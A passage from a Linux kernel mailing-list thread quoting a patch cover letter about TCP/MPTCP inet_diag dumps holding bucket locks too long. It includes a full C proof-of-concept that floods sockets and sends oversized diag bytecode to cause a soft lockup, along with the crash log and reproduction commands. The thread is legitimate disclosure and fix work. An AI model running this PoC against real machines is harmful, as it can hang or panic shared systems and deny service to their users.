>                 ops[nops].code = INET_DIAG_BC_D_EQ;
>                 ops[nops].yes = 2U * sizeof(struct inet_diag_bc_op);
>                 ops[nops].no = 3U * sizeof(struct inet_diag_bc_op);
>
>                 ops[nops + 1].code = 0;
>                 ops[nops + 1].yes = 0;
>                 ops[nops + 1].no = 1;
>
>                 msg_len += NLA_ALIGN(attr_len);
>                 nlh->nlmsg_len = msg_len;
>         }
>
>         return msg_len;
> }
>
> static int recv_until_done(int fd)
> {
>         char *buf;
>         int ret = 0;
>
>         buf = malloc(RECV_BUF_SIZE);
>         if (!buf) {
>                 perror("malloc(recv buf)");
>                 return -1;
>         }
>
>         for (;;) {
>                 ssize_t received = recv(fd, buf, RECV_BUF_SIZE, 0);
>                 struct nlmsghdr *nlh;
>                 int remaining;
>
>                 if (received < 0) {
>                         perror("recv");
>                         ret = -1;
>                         break;
>                 }
>
>                 if (received == 0) {
>                         fprintf(stderr, "recv: unexpected EOF\n");
>                         ret = -1;
>                         break;
>                 }
>
>                 remaining = (int)received;
>                 for (nlh = (struct nlmsghdr *)buf; NLMSG_OK(nlh, remaining);
>                      nlh = NLMSG_NEXT(nlh, remaining)) {
>                         if (nlh->nlmsg_type == NLMSG_DONE)
>                                 goto out;
>
>                         if (nlh->nlmsg_type == NLMSG_ERROR) {
>                                 const struct nlmsgerr *err = NLMSG_DATA(nlh);
>
>                                 if (nlh->nlmsg_len < NLMSG_LENGTH(sizeof(*err))) {
>                                         fprintf(stderr, "short NLMSG_ERROR\n");
>                                 } else if (err->error) {
>                                         errno = -err->error;
>                                         perror("netlink");
>                                 } else {
>                                         fprintf(stderr, "unexpected ACK\n");
>                                 }
>                                 ret = -1;
>                                 goto out;
>                         }
>                 }
>         }
>
> out:
>         free(buf);
>         return ret;
> }
>
> static int run_dump(bool listen_mode, bool with_attack, unsigned int nops,
>                     double *wall_ms)
> {
>         size_t request_len;
>         size_t attr_space = with_attack ?
>                             NLA_ALIGN(NLA_HDRLEN +
>                                       ((size_t)nops + 2U) *
>                                       sizeof(struct inet_diag_bc_op)) : 0;
>         size_t alloc_len = NLMSG_SPACE(sizeof(struct inet_diag_req_v2)) +
>                            attr_space;
>         struct sockaddr_nl local = {
>                 .nl_family = AF_NETLINK,
>         };
>         struct sockaddr_nl kernel = {
>                 .nl_family = AF_NETLINK,
>         };
>         struct timeval timeout = {
>                 .tv_sec = 60,
>                 .tv_usec = 0,
>         };
>         struct iovec iov;
>         struct msghdr msg = {
>                 .msg_name = &kernel,
>                 .msg_namelen = sizeof(kernel),
>                 .msg_iov = &iov,
>                 .msg_iovlen = 1,
>         };
>         struct timespec start_ts;
>         struct timespec end_ts;
>         void *request;
>         int fd;
>         int ret = -1;
>
>         request = malloc(alloc_len);
>         if (!request) {
>                 perror("malloc(request)");
>                 return -1;
>         }
>
>         request_len = build_request(request, listen_mode, with_attack, nops);
>
>         fd = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_SOCK_DIAG);
>         if (fd < 0) {
>                 perror("socket(AF_NETLINK)");
>                 free(request);
>                 return -1;
>         }
>
>         if (setsockopt(fd, SOL_SOCKET, SO_RCVTIMEO, &timeout, sizeof(timeout)) < 0) {
>                 perror("setsockopt(SO_RCVTIMEO)");
>                 goto out;
>         }
>
>         if (bind(fd, (struct sockaddr *)&local, sizeof(local)) < 0) {
>                 perror("bind(netlink)");
>                 goto out;
>         }
>
>         iov.iov_base = request;
>         iov.iov_len = request_len;
>
>         if (clock_gettime(CLOCK_MONOTONIC_RAW, &start_ts) < 0) {
>                 perror("clock_gettime(start)");
>                 goto out;
>         }
>
>         if (sendmsg(fd, &msg, 0) < 0) {
>                 perror("sendmsg");
>                 goto out;
>         }
>
>         if (recv_until_done(fd) < 0)
>                 goto out;
>
>         if (clock_gettime(CLOCK_MONOTONIC_RAW, &end_ts) < 0) {
>                 perror("clock_gettime(end)");
>                 goto out;
>         }
>
>         *wall_ms = (double)timespec_delta_ns(&start_ts, &end_ts) / 1000000.0;
>         ret = 0;
>
> out:
>         close(fd);
>         free(request);
>         return ret;
> }
>
> static int parse_u32(const char *arg, unsigned int *value)
> {
>         char *end = NULL;
>         unsigned long parsed;
>
>         parsed = strtoul(arg, &end, 0);
>         if (!end || *end || parsed > UINT32_MAX)
>                 return -1;
>
>         *value = (unsigned int)parsed;
>         return 0;
> }
>
> static int parse_port(const char *arg, int *port)
> {
>         unsigned int value;
>
>         if (parse_u32(arg, &value) < 0 || value > 65535U)
>                 return -1;
>
>         *port = (int)value;
>         return 0;
> }
>
> int main(int argc, char **argv)
> {
>         struct options opts = {
>                 .sockets = DEFAULT_SOCKETS,
>                 .nops = DEFAULT_NOPS,
>                 .repeat = DEFAULT_REPEAT,
>                 .groups = DEFAULT_GROUPS,
>                 .stride = DEFAULT_STRIDE,
>                 .cpu = 0,
>                 .cpu_set = false,
>                 .compare = false,
>                 .attack = true,
>                 .listen_mode = true,
>                 .port = 0,
>         };
>         int *fds = NULL;
>         int port = 0;
>         unsigned int i;
>
>         for (i = 1; i < (unsigned int)argc; i++) {
>                 if (strcmp(argv[i], "--count") == 0) {
>                         if (i + 1 >= (unsigned int)argc ||
>                             parse_u32(argv[++i], &opts.sockets) < 0 ||
>                             opts.sockets == 0) {
>                                 usage(argv[0]);
>                                 return 1;
>                         }
>                 } else if (strcmp(argv[i], "--nops") == 0) {
>                         if (i + 1 >= (unsigned int)argc ||
>                             parse_u32(argv[++i], &opts.nops) < 0 ||
>                             opts.nops > MAX_NOPS) {
>                                 fprintf(stderr, "--nops must be in range [0, %u]\n",
>                                         MAX_NOPS);
>                                 return 1;
>                         }
>                 } else if (strcmp(argv[i], "--repeat") == 0) {
>                         if (i + 1 >= (unsigned int)argc ||
>                             parse_u32(argv[++i], &opts.repeat) < 0 ||
>                             opts.repeat == 0) {
>                                 usage(argv[0]);
>                                 return 1;
>                         }
>                 } else if (strcmp(argv[i], "--groups") == 0) {
>                         if (i + 1 >= (unsigned int)argc ||
>                             parse_u32(argv[++i], &opts.groups) < 0 ||
>                             opts.groups == 0) {
>                                 usage(argv[0]);
>                                 return 1;
>                         }
>                 } else if (strcmp(argv[i], "--stride") == 0) {
>                         if (i + 1 >= (unsigned int)argc ||
>                             parse_u32(argv[++i], &opts.stride) < 0 ||
>                             opts.stride == 0) {
>                                 usage(argv[0]);
>                                 return 1;
>                         }
>                 } else if (strcmp(argv[i], "--port") == 0) {
>                         if (i + 1 >= (unsigned int)argc ||
>                             parse_port(argv[++i], &opts.port) < 0) {
>                                 usage(argv[0]);
>                                 return 1;
>                         }
>                 } else if (strcmp(argv[i], "--cpu") == 0) {
>                         if (i + 1 >= (unsigned int)argc ||
>                             parse_u32(argv[++i], &opts.cpu) < 0) {
>                                 usage(argv[0]);
>                                 return 1;
>                         }
>                         opts.cpu_set = true;
>                 } else if (strcmp(argv[i], "--compare") == 0) {
>                         opts.compare = true;
>                 } else if (strcmp(argv[i], "--no-attack") == 0) {
>                         opts.attack = false;
>                 } else if (strcmp(argv[i], "--listen") == 0) {
>                         opts.listen_mode = true;
>                 } else if (strcmp(argv[i], "--bound") == 0) {
>                         opts.listen_mode = false;
>                 } else {
>                         usage(argv[0]);
>                         return 1;
>                 }
>         }
>
>         if (opts.groups > UINT32_MAX / opts.sockets) {
>                 fprintf(stderr, "socket count overflow\n");
>                 return 1;
>         }
>
>         if (raise_nofile_limit((rlim_t)opts.sockets * opts.groups + 64U) < 0)
>                 return 1;
>
>         if (opts.cpu_set && pin_to_cpu(opts.cpu) < 0)
>                 return 1;
>
>         if (setup_sockets(opts.listen_mode, opts.groups, opts.sockets,
>                           opts.stride, opts.port, &fds, &port) < 0)
>                 return 1;
>
>         printf("setup_complete groups=%u sockets_per_group=%u total_sockets=%u base_port=%d stride=%u mode=%s nops=%u repeat=%u compare=%s attack=%s\n",
>                opts.groups, opts.sockets, opts.groups * opts.sockets,
>                port, opts.stride, opts.listen_mode ? "listen" : "bound",
>                opts.nops, opts.repeat,
>                opts.compare ? "yes" : "no",
>                opts.attack ? "yes" : "no");
>
>         if (opts.compare) {
>                 double wall_ms;
>
>                 if (run_dump(opts.listen_mode, false, 0, &wall_ms) < 0) {
>                         teardown_sockets(fds, opts.groups * opts.sockets);
>                         return 1;
>                 }
>                 printf("baseline wall_ms=%.3f\n", wall_ms);
>         }
>
>         if (opts.attack) {
>                 for (i = 0; i < opts.repeat; i++) {
>                         double wall_ms;
>
>                         if (run_dump(opts.listen_mode, true, opts.nops, &wall_ms) < 0) {
>                                 teardown_sockets(fds, opts.groups * opts.sockets);
>                                 return 1;
>                         }
>                         printf("attack_run=%u wall_ms=%.3f\n", i + 1, wall_ms);
>                 }
>         }
>
>         teardown_sockets(fds, opts.groups * opts.sockets);
>         return 0;
> }
> ------END poc.c--------
>
> ----BEGIN crash log----
> watchdog: BUG: soft lockup - CPU#1 stuck for 3s! [poc:256]
> [   21.507468] Modules linked in:
> [   21.507471] CPU: 1 UID: 0 PID: 256 Comm: poc Not tainted 7.2.0-rc4-00390-g743916aa8e8c #5 PREEMPT(full)
> [   21.507472] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
> [   21.507473] RIP: 0010:inet_diag_bc_sk (inet_diag.c:471 inet_diag.c:631)
> [   21.507499] Code: 00 00 00 0f 87 89 00 00 00 3c 02 0f 84 4e 01 00 00 3c 03 0f 84 72 01 00 00 3c 01 75 31 0f b7 53 02 29 d5 48 01 d3 85 ed 7e 31 <0f> b6 03 3c 08 76 c2 3c 0b 0f 84 76 01 00 00 77 3a 3c 09 0f 84 54
> All code
> ========
>    0:   00 00                   add    %al,(%rax)
>    2:   00 0f                   add    %cl,(%rdi)
>    4:   87 89 00 00 00 3c       xchg   %ecx,0x3c000000(%rcx)
>    a:   02 0f                   add    (%rdi),%cl
>    c:   84 4e 01                test   %cl,0x1(%rsi)
>    f:   00 00                   add    %al,(%rax)
>   11:   3c 03                   cmp    $0x3,%al
>   13:   0f 84 72 01 00 00       je     0x18b
>   19:   3c 01                   cmp    $0x1,%al
>   1b:   75 31                   jne    0x4e
>   1d:   0f b7 53 02             movzwl 0x2(%rbx),%edx
>   21:   29 d5                   sub    %edx,%ebp
>   23:   48 01 d3                add    %rdx,%rbx
>   26:   85 ed                   test   %ebp,%ebp
>   28:   7e 31                   jle    0x5b
>   2a:*  0f b6 03                movzbl (%rbx),%eax              <-- trapping instruction
>   2d:   3c 08                   cmp    $0x8,%al
>   2f:   76 c2                   jbe    0xfffffffffffffff3
>   31:   3c 0b                   cmp    $0xb,%al
>   33:   0f 84 76 01 00 00       je     0x1af
>   39:   77 3a                   ja     0x75
>   3b:   3c 09                   cmp    $0x9,%al
>   3d:   0f                      .byte 0xf
>   3e:   84                      .byte 0x84
>   3f:   54                      push   %rsp
>
> Code starting with the faulting instruction
> ===========================================
>    0:   0f b6 03                movzbl (%rbx),%eax
>    3:   3c 08                   cmp    $0x8,%al
>    5:   76 c2                   jbe    0xffffffffffffffc9
>    7:   3c 0b                   cmp    $0xb,%al
>    9:   0f 84 76 01 00 00       je     0x185
>    f:   77 3a                   ja     0x4b
>   11:   3c 09                   cmp    $0x9,%al
>   13:   0f                      .byte 0xf
>   14:   84                      .byte 0x84
>   15:   54                      push   %rsp
> [   21.507500] RSP: 0018:ffffbb290036b7a8 EFLAGS: 00000202
> [   21.507501] RAX: 0000000000000000 RBX: ffff98bcf7ca2588 RCX: 0000000000000000
> [   21.507502] RDX: 0000000000000004 RSI: ffff98bcf7ca0048 RDI: ffff98bcf61c9840
> [   21.507502] RBP: 000000000000dabc R08: 0000000000000000 R09: ffff98bcdfb91440
> [   21.507502] R10: 0000000000000000 R11: ffff98bcdfb91444 R12: 0000000000000000
> [   21.507503] R13: 0000000000002f10 R14: 0000000000000000 R15: 0000000000000002
> [   21.507508] FS:  0000000002be8380(0000) GS:ffff98bda3b6e000(0000) knlGS:0000000000000000
> [   21.507509] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
> [   21.507510] CR2: 00007f62b3bb9000 CR3: 000000000c6b6005 CR4: 0000000000370ef0
> [   21.507510] Call Trace:
> [   21.507512]  <TASK>
> [   21.507512]  ? inet_diag_bc_sk (inet_diag.c:632)
> [   21.507514]  tcp_diag_dump (tcp_diag.c:366)
> [   21.507524]  ? ___slab_alloc (slub.c:1080 slub.c:4524)
> [   21.507526]  ? __kmalloc_node_track_caller_noprof (slub.c:4936 slub.c:5361 slub.c:5497)
> [   21.507527]  ? inet_diag_handler_cmd (netlink.h:341 inet_diag.c:983)
> [   21.507528]  ? __alloc_skb (skbuff.c:715)
> [   21.507531]  ? kmalloc_reserve (skbuff.c:637 (discriminator 1))
> [   21.507532]  __inet_diag_dump (inet_diag.c:823)
> [   21.507533]  netlink_dump (af_netlink.c:2331)
> [   21.507543]  __netlink_dump_start (af_netlink.c:2446)
> [   21.507544]  inet_diag_handler_cmd (netlink.h:341 inet_diag.c:983)
> [   21.507545]  ? __pfx_inet_diag_dump_start (inet_diag.c:891)
> [   21.507546]  ? __pfx_inet_diag_dump (inet_diag.c:928)
> [   21.507547]  ? __pfx_inet_diag_dump_done (inet_diag.c:508)
> [   21.507548]  sock_diag_rcv_msg (sock_diag.c:248 sock_diag.c:284)
> [   21.507550]  ? __pfx_sock_diag_rcv_msg (sock_diag.c:306)
> [   21.507551]  netlink_rcv_skb (af_netlink.c:2556)
> [   21.507553]  netlink_unicast (af_netlink.c:1319 af_netlink.c:1345)
> [   21.507554]  netlink_sendmsg (af_netlink.c:1900)
> [   21.507556]  ____sys_sendmsg (socket.c:775 (discriminator 1) socket.c:790 (discriminator 1) socket.c:2684 (discriminator 1))
> [   21.507558]  ___sys_sendmsg (socket.c:2738)
> [   21.507559]  __sys_sendmsg (socket.c:2770)
> [   21.507560]  do_syscall_64 (syscall_64.c:63 syscall_64.c:94)
> [   21.507563]  entry_SYSCALL_64_after_hwframe (entry_64.S:121)
> [   21.507564] RIP: 0033:0x421964
> [   21.507566] Code: c2 c0 ff ff ff f7 d8 64 89 02 48 c7 c0 ff ff ff ff eb b5 0f 1f 00 f3 0f 1e fa 80 3d fd 26 09 00 00 74 13 b8 2e 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 4c c3 0f 1f 00 55 48 89 e5 48 83 ec 20 89 55
> All code
> ========
>    0:   c2 c0 ff                ret    $0xffc0
>    3:   ff                      (bad)
>    4:   ff f7                   push   %rdi
>    6:   d8 64 89 02             fsubs  0x2(%rcx,%rcx,4)
>    a:   48 c7 c0 ff ff ff ff    mov    $0xffffffffffffffff,%rax
>   11:   eb b5                   jmp    0xffffffffffffffc8
>   13:   0f 1f 00                nopl   (%rax)
>   16:   f3 0f 1e fa             endbr64
>   1a:   80 3d fd 26 09 00 00    cmpb   $0x0,0x926fd(%rip)        # 0x9271e
>   21:   74 13                   je     0x36
>   23:   b8 2e 00 00 00          mov    $0x2e,%eax
>   28:   0f 05                   syscall
>   2a:*  48 3d 00 f0 ff ff       cmp    $0xfffffffffffff000,%rax         <-- trapping instruction
>   30:   77 4c                   ja     0x7e
>   32:   c3                      ret
>   33:   0f 1f 00                nopl   (%rax)
>   36:   55                      push   %rbp
>   37:   48 89 e5                mov    %rsp,%rbp
>   3a:   48 83 ec 20             sub    $0x20,%rsp
>   3e:   89                      .byte 0x89
>   3f:   55                      push   %rbp
>
> Code starting with the faulting instruction
> ===========================================
>    0:   48 3d 00 f0 ff ff       cmp    $0xfffffffffffff000,%rax
>    6:   77 4c                   ja     0x54
>    8:   c3                      ret
>    9:   0f 1f 00                nopl   (%rax)
>    c:   55                      push   %rbp
>    d:   48 89 e5                mov    %rsp,%rbp
>   10:   48 83 ec 20             sub    $0x20,%rsp
>   14:   89                      .byte 0x89
>   15:   55                      push   %rbp
> [   21.507567] RSP: 002b:00007ffde1d1cfc8 EFLAGS: 00000202 ORIG_RAX: 000000000000002e
> [   21.507568] RAX: ffffffffffffffda RBX: 0000000002bea910 RCX: 0000000000421964
> [   21.507570] RDX: 0000000000000000 RSI: 00007ffde1d1d040 RDI: 0000000000020003
> [   21.507571] RBP: 0000000000020003 R08: 0006b49d20000000 R09: 00007f62b3bb50e8
> [   21.507571] R10: 0000000000000004 R11: 0000000000000202 R12: 00007ffde1d1d110
> [   21.507571] R13: 0000000000003ffc R14: 0000000000010044 R15: 000000000000fffc
> [   21.507572]  </TASK>
> [   21.507573] Kernel panic - not syncing: softlockup: hung tasks
> -----END crash log-----
>
> Best regards,
> Zihan Xi
>
> changes in v2:
>   - Rebased onto net commit e2a6641e3bfd (2026-08-27).
>   - Corrected the non-listener PoC state mask to TCPF_BOUND_INACTIVE.
>   - Added current-bucket cursor validation for TCP listener, bind, and
>     ehash paths, and for MPTCP listeners, with safe restart on mismatch.
>   - Reject listen/ehash/MPTCP listener cursors unless sk_state still
>     matches the table being walked.
>   - Count TIME_WAIT bind nodes toward the batch limit and resume them via
>     tw_tb2 instead of treating them as inet_connection_sock.
>   - Kept the listener and bound-only TCP Fixes tags; dropped 7e3aab4a9cd7
>     because that commit only converted the existing ehash dump lock type.
>   - Sorted new TCP dump local declarations reverse xmas tree.
>   - Moved INET_DIAG_DUMP_CURSOR_MPTCP_LISTEN into the MPTCP patch.
>   - Read icsk_ulp_data with rcu_dereference() after dropping the MPTCP
>     listener lock.
>   - Refreshed the inline PoC and matching decoded crash log artifacts.
>   - Corrected wording and removed duplicate crash-log provenance text.
>   - Made PoC defaults match unshare -Urn ./poc (4 listener groups).
>   - Clarified crash-log UID 0, cursor fallback restart, and that UDP/RAW
>     diag locks are outside this series.
>   - v1 Link: https://lore.kernel.org/all/cover.1785307984.git.zihanx@nebusec.ai/
>
> Zihan Xi (2):
>   tcp: diag: bound bucket lock hold in tcp_diag_dump()
>   mptcp: diag: bound listener bucket lock hold
>
>  include/linux/inet_diag.h     |  15 ++
>  include/net/inet_hashtables.h |  18 ++
>  net/ipv4/inet_diag.c          |  13 ++
>  net/ipv4/inet_hashtables.c    |  18 --
>  net/ipv4/tcp_diag.c           | 338 +++++++++++++++++++++++++---------
>  net/mptcp/mptcp_diag.c        | 124 +++++++++----
>  6 files changed, 383 insertions(+), 143 deletions(-)
>
> --
> 2.43.0
>

Re: [PATCH net v2 0/2] tcp: diag: bound bucket lock hold in diag dump paths

[zihan xi]

On Thu, Sep 3, 2026 at 10:09 AM Kuniyuki Iwashima <kuniyu@google.com> wrote:
>
> On Tue, Sep 1, 2026 at 5:53 AM Zihan Xi <zihanx@nebusec.ai> wrote:
> >
> > Hi Linux kernel maintainers,
> >
> > We found and validated an issue in net/ipv4/tcp_diag.c and
> > net/mptcp/mptcp_diag.c. The bug is reachable by a
> > non-root user via user and net namespace.
> > Our testing did not identify any impact on other functionality.
> >
> > We will provide detailed information about the bug
> > in this email, along with a PoC to trigger it.
> >
> > ---- details below ----
> >
> > Bug details:
> >
> > inet_diag TCP dumps currently execute request-supplied
> > INET_DIAG_REQ_BYTECODE programs while still holding the listener, bind,
> > or ehash bucket locks in tcp_diag_dump(). With a heavily populated
> > bucket, the time spent under the same lock grows with both raw socket
> > traversal and bytecode cost.
> >
> > The local listener reproducer creates four SO_REUSEPORT groups of 32768
> > listeners each, 131072 sockets in total, and then issues a
> > NETLINK_SOCK_DIAG dump request with 16380 INET_DIAG_BC_NOP instructions
>
> Same feedback as v1.
>
> tcp_diag_dump() is long enough, and I don't think that the "fix"
> to avoid a long loop on *QEMU* due to an unreal setup is worth
> 300 LoC(hurn).
>
>
>
>
> > followed by a failing INET_DIAG_BC_D_EQ test. This is a deliberately
> > concentrated setup to make the lock scope observable; it is not intended
> > to represent a typical deployment. Because every socket runs the full
> > bytecode and none reaches the reply fill path, skb backpressure does not
> > terminate the walk early.
> > On the unfixed kernel, with local softlockup panic sysctls enabled, this
> > makes the long bucket-locked section visible as a watchdog report and
> > panic in inet_diag_bc_sk().
> >
> > The earlier batching fix direction was still too narrow: it only counted
> > sockets that survived the cheap prefilters and reached the expensive dump
> > path. An attacker can therefore populate one bucket with many sockets or
> > listeners that fail the netns/family/port or MPTCP-specific prefilters,
> > causing the same bucket lock to be scanned far past the 16-entry batch
> > threshold before control is returned.
> >
> > The same root cause also exists in MPTCP listener dumping. The
> > MPTCP-specific mptcp_diag_dump_listeners() path reuses sk_diag_dump(),
> > which runs inet_diag_bc_sk() before filling the netlink reply, while the
> > listener bucket lock is still held.
> >
> > The inline reproducer and decoded crash log below cover the TCP watchdog
> > path only. They are not an MPTCP crash reproduction. The crash log is the
> > decoded output of `./scripts/decode_stacktrace.sh`, with source paths
> > reduced to repository-relative file and line references for review. The
> > MPTCP patch addresses the equivalent listener lock scope identified by
> > code inspection and completed MPTCP listener stress tests. A separate
> > MPTCP crash artifact is not included, because the fixed MPTCP run
> > completed without a crash.
> >
> > This series fixes both sites by keeping bucket-locked sections limited to
> > raw socket collection and lifetime pinning, and moving all filtering,
> > inet_diag_bc_sk(), and socket filling work out of the locked regions so
> > the batch limit applies to raw bucket traversal itself. For TCP listener,
> > bind, and ehash buckets, and for the MPTCP listener bucket, restarts now
> > keep a referenced dump cursor so the next batch resumes after the
> > previous socket instead of rescanning the bucket head under the same
> > lock. A stored cursor is reused only after it is checked against the
> > currently locked bucket. Listen and ehash resume also require the socket
> > state to still belong to that table. Current-bucket membership is inferred
> > from that state plus the recomputed hash slot. If the check fails,
> > collection restarts from the bucket head with the same batch limit. That
> > fallback can emit a socket more than once, but it does not move bytecode
> > or fill work back under the bucket lock. Bind collection counts TIME_WAIT
> > nodes toward the batch limit and restores them through tw_tb2.
> >
> > We also ran targeted cursor-resume stress tests on the fixed kernel. The
> > TCP listener workload used 131072 listeners while a separate thread
> > repeatedly removed and recreated listeners across listener buckets. Three
> > runs completed in 17024.089 ms, 17217.245 ms, and 17180.322 ms, and the
> > guest remained alive. With temporary kernel instrumentation, one run
> > directly observed an invalid TCP listener cursor: the cursor was unhashed
> > and its computed bucket differed from the bucket being scanned, after
> > which the safe restart path completed normally.
> >
> > A corresponding MPTCP listener workload and a TCP bound-only close/rebind
> > workload also completed without a crash, and the guest remained alive.
> > Neither workload deterministically reached its instrumented invalid-cursor
> > branch, and no crash artifact is claimed for either path.
> >
> > For ehash, a dedicated workload created 4096 loopback established TCP
> > connections while a mutator replaced connection pairs concurrently. The
> > TCPF_ALL inet_diag dump completed in 315.108 ms. No ehash invalid-cursor
> > log, soft lockup, or panic was observed. These tests exercise the relevant
> > mutation and resume paths, but do not claim deterministic scheduling of
> > every race between two dump callbacks.
> >
> > The TCP patch uses two Fixes tags for the path-specific introductions:
> > commit 5caea4ea7088 ("net: listening_hash get a spinlock per bucket")
> > introduced the listener bucket spinlock, and commit 91051f003948
> > ("tcp: Dump bound-only sockets in inet_diag.") introduced the bound-only
> > path. The ehash dump already ran diagnostic work under the bucket lock
> > before 7e3aab4a9cd7, which only converted that lock from read_lock_bh()
> > to spin_lock_bh(), so that commit is not used as a Fixes tag. The MPTCP
> > patch uses commit 4fa39b701ce9 ("mptcp: listen diag dump support").
> >
> > udp_diag and raw diag still run bytecode and fill under their own hash
> > slot locks. Those locks are not the TCP listener, bind, or ehash locks,
> > or the MPTCP listener lock, tightened by this series.
> >
> > Reproducer:
> >
> >     gcc -O2 -static -o poc poc.c
> >     unshare -Urn ./poc
> >
> > This is not a packet-sequence or protocol-state reproducer. The trigger
> > depends on creating many sockets and issuing NETLINK_SOCK_DIAG requests,
> > which packetdrill cannot express, so the PoC uses sockets and Netlink
> > directly.
> >
> > To make the long bucket-locked section observable in the local QEMU
> > run below, we enabled softlockup panic sysctls as guest root. The
> > unshare command above uses the PoC defaults, which are:
> >
> >     ./poc --listen --groups 4 --stride 2048 --count 32768 --nops 16380
> >
> > The crash log reports UID: 0 because that process is the userns root
> > created by unshare -Urn, after those sysctls were set as guest root.
> > That UID does not by itself prove a host-unprivileged run. The inet_diag
> > dump path itself is reachable from a user and net namespace.
> >
> > We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
> >
> > ------BEGIN poc.c------
> > #define _GNU_SOURCE
> >
> > #include <arpa/inet.h>
> > #include <errno.h>
> > #include <linux/inet_diag.h>
> > #include <linux/netlink.h>
> > #include <linux/sock_diag.h>
> > #include <linux/tcp.h>
> > #include <sched.h>
> > #include <stdbool.h>
> > #include <stdint.h>
> > #include <stdio.h>
> > #include <stdlib.h>
> > #include <string.h>
> > #include <sys/resource.h>
> > #include <sys/socket.h>
> > #include <sys/time.h>
> > #include <time.h>
> > #include <unistd.h>
> >
> > #ifndef SOL_TCP
> > #define SOL_TCP 6
> > #endif
> >
> > #ifndef TCP_LISTEN
> > #define TCP_LISTEN 10
> > #endif
> >
> > #define TCPF_LISTEN (1U << TCP_LISTEN)
> >
> > #ifndef TCP_BOUND_INACTIVE
> > #define TCP_BOUND_INACTIVE 13
> > #endif
> > #ifndef TCPF_BOUND_INACTIVE
> > #define TCPF_BOUND_INACTIVE (1U << TCP_BOUND_INACTIVE)
> > #endif
> >
> > #define DEFAULT_SOCKETS 32768U
> > #define DEFAULT_NOPS 16380U
> > #define DEFAULT_REPEAT 1U
> > #define DEFAULT_GROUPS 4U
> > #define DEFAULT_STRIDE 2048U
> > #define DEFAULT_BASE_PORT 10000
> > #define MAX_NOPS 16380U
> > #define RECV_BUF_SIZE (1U << 20)
> >
> > struct options {
> >         unsigned int sockets;
> >         unsigned int nops;
> >         unsigned int repeat;
> >         unsigned int groups;
> >         unsigned int stride;
> >         unsigned int cpu;
> >         bool cpu_set;
> >         bool compare;
> >         bool attack;
> >         bool listen_mode;
> >         int port;
> > };
> >
> > static void usage(const char *prog)
> > {
> >         fprintf(stderr,
> >                 "Usage: %s [--count N] [--nops N] [--repeat N] [--port P] [--cpu N]\n"
> >                 "          [--groups N] [--stride N] [--compare] [--no-attack]\n"
> >                 "          [--listen | --bound]\n"
> >                 "Defaults: --count %u --nops %u --repeat %u\n",
> >                 prog, DEFAULT_SOCKETS, DEFAULT_NOPS, DEFAULT_REPEAT);
> > }
> >
> > static long long timespec_delta_ns(const struct timespec *start,
> >                                        const struct timespec *end)
> > {
> >         return (end->tv_sec - start->tv_sec) * 1000000000LL +
> >                (end->tv_nsec - start->tv_nsec);
> > }
> >
> > static int raise_nofile_limit(rlim_t needed)
> > {
> >         struct rlimit lim;
> >
> >         if (getrlimit(RLIMIT_NOFILE, &lim) < 0) {
> >                 perror("getrlimit(RLIMIT_NOFILE)");
> >                 return -1;
> >         }
> >
> >         if (lim.rlim_cur >= needed)
> >                 return 0;
> >
> >         if (lim.rlim_max < needed)
> >                 needed = lim.rlim_max;
> >
> >         lim.rlim_cur = needed;
> >         if (setrlimit(RLIMIT_NOFILE, &lim) < 0) {
> >                 perror("setrlimit(RLIMIT_NOFILE)");
> >                 return -1;
> >         }
> >
> >         if (getrlimit(RLIMIT_NOFILE, &lim) < 0) {
> >                 perror("getrlimit(RLIMIT_NOFILE)");
> >                 return -1;
> >         }
> >
> >         if (lim.rlim_cur < needed) {
> >                 fprintf(stderr, "RLIMIT_NOFILE stayed at %llu, need %llu\n",
> >                         (unsigned long long)lim.rlim_cur,
> >                         (unsigned long long)needed);
> >                 return -1;
> >         }
> >
> >         return 0;
> > }
> >
> > static int pin_to_cpu(unsigned int cpu)
> > {
> >         cpu_set_t set;
> >
> >         CPU_ZERO(&set);
> >         CPU_SET(cpu, &set);
> >         if (sched_setaffinity(0, sizeof(set), &set) < 0) {
> >                 perror("sched_setaffinity");
> >                 return -1;
> >         }
> >
> >         return 0;
> > }
> >
> > static int create_socket_in_bucket(bool listen_mode, int port, int *bound_port)
> > {
> >         struct sockaddr_in addr = {
> >                 .sin_family = AF_INET,
> >                 .sin_addr.s_addr = htonl(INADDR_ANY),
> >         };
> >         socklen_t addrlen = sizeof(addr);
> >         int one = 1;
> >         int fd;
> >
> >         fd = socket(AF_INET, SOCK_STREAM | SOCK_CLOEXEC, 0);
> >         if (fd < 0) {
> >                 perror("socket(AF_INET, SOCK_STREAM)");
> >                 return -1;
> >         }
> >
> >         if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)) < 0) {
> >                 perror("setsockopt(SO_REUSEADDR)");
> >                 goto err;
> >         }
> >
> >         if (setsockopt(fd, SOL_SOCKET, SO_REUSEPORT, &one, sizeof(one)) < 0) {
> >                 perror("setsockopt(SO_REUSEPORT)");
> >                 goto err;
> >         }
> >
> >         addr.sin_port = htons(port);
> >         if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
> >                 perror("bind");
> >                 goto err;
> >         }
> >
> >         if (getsockname(fd, (struct sockaddr *)&addr, &addrlen) < 0) {
> >                 perror("getsockname");
> >                 goto err;
> >         }
> >
> >         if (listen_mode) {
> >                 if (listen(fd, 0) < 0) {
> >                         perror("listen");
> >                         goto err;
> >                 }
> >         }
> >
> >         *bound_port = ntohs(addr.sin_port);
> >         return fd;
> >
> > err:
> >         close(fd);
> >         return -1;
> > }
> >
> > static int setup_sockets(bool listen_mode, unsigned int groups,
> >                          unsigned int count_per_group, unsigned int stride,
> >                          int requested_port, int **fds_out, int *port_out)
> > {
> >         int *fds;
> >         unsigned int g, i;
> >         unsigned int total = groups * count_per_group;
> >         int base_port = requested_port ? requested_port : DEFAULT_BASE_PORT;
> >
> >         fds = calloc(total, sizeof(*fds));
> >         if (!fds) {
> >                 perror("calloc(socket fds)");
> >                 return -1;
> >         }
> >
> >         for (g = 0; g < groups; g++) {
> >                 int port = base_port + (int)(g * stride);
> >
> >                 if (port <= 0 || port > 65535) {
> >                         fprintf(stderr, "port overflow for group %u (base=%d stride=%u)\n",
> >                                 g, base_port, stride);
> >                         goto err;
